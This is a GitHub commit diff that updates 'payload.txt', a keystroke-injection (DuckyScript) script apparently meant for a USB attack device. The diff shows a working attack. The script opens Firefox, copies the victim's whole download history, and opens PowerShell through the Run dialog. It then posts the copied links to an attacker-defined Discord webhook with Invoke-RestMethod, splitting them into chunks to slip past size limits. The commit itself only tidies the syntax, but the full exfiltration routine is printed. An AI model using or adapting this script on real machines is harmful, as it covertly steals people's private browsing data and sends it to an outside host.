Update payload.txt

pull/136/head
Kalani Helekunihi 2023-06-12 15:33:58 -04:00 committed by GitHub
parent 8dd2b41919
commit 8541881d42
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 6 additions and 16 deletions

View File

@ -16,31 +16,25 @@ REM - Firefox installed
REM You must define your Discord webhook if you want to use this method for the exfiltration REM You must define your Discord webhook if you want to use this method for the exfiltration
DEFINE DISCORD_WEBHOOK example DEFINE DISCORD_WEBHOOK example
DEFAULT_DELAY 500
REM Open Firefox REM Open Firefox
GUI GUI
DELAY 1000 DELAY 1000
STRING Firefox STRINGLN Firefox
DELAY 500
ENTER
DELAY 2000 DELAY 2000
REM Goto downloads and copy all REM Goto downloads and copy all
CTRL j CTRL j
DELAY 500
CTRL a CTRL a
DELAY 500
CTRL c CTRL c
DELAY 500
REM Open a PowerShell and put all the links into $DOWNLOADS var REM Open a PowerShell and put all the links into $DOWNLOADS var
GUI r GUI r
DELAY 500 STRINGLN powershell
STRING powershell
ENTER
DELAY 1000 DELAY 1000
STRING $DOWNLOADS=" STRING $DOWNLOADS="
CTRL v CTRL v
DELAY 500
ENTER ENTER
REM It depends on the number of links REM It depends on the number of links
@ -49,15 +43,12 @@ DELAY 10000
STRINGLN " STRINGLN "
REM Exfiltration using Discord Webhook REM Exfiltration using Discord Webhook
STRING $WebhookUrl = " STRINGLN $WebhookUrl = "DISCORD_WEBHOOK"
STRING DISCORD_WEBHOOK
STRINGLN "
STRINGLN $Payload = @{content = $DOWNLOADS} | ConvertTo-Json STRINGLN $Payload = @{content = $DOWNLOADS} | ConvertTo-Json
REM This algorithm is used to avoid the size limit imposed by Invoke-RestMethod on the payload length REM This algorithm is used to avoid the size limit imposed by Invoke-RestMethod on the payload length
STRINGLN STRINGLN_BLOCK
$len = $DOWNLOADS.Length $len = $DOWNLOADS.Length
$MAX_LEN = 1900 $MAX_LEN = 1900
@ -73,5 +64,4 @@ STRINGLN
Invoke-RestMethod -Uri $WebhookUrl -Method Post -Body $Payload -ContentType 'application/json' Invoke-RestMethod -Uri $WebhookUrl -Method Post -Body $Payload -ContentType 'application/json'
} }
exit; exit;
END_STRINGLN END_STRINGLN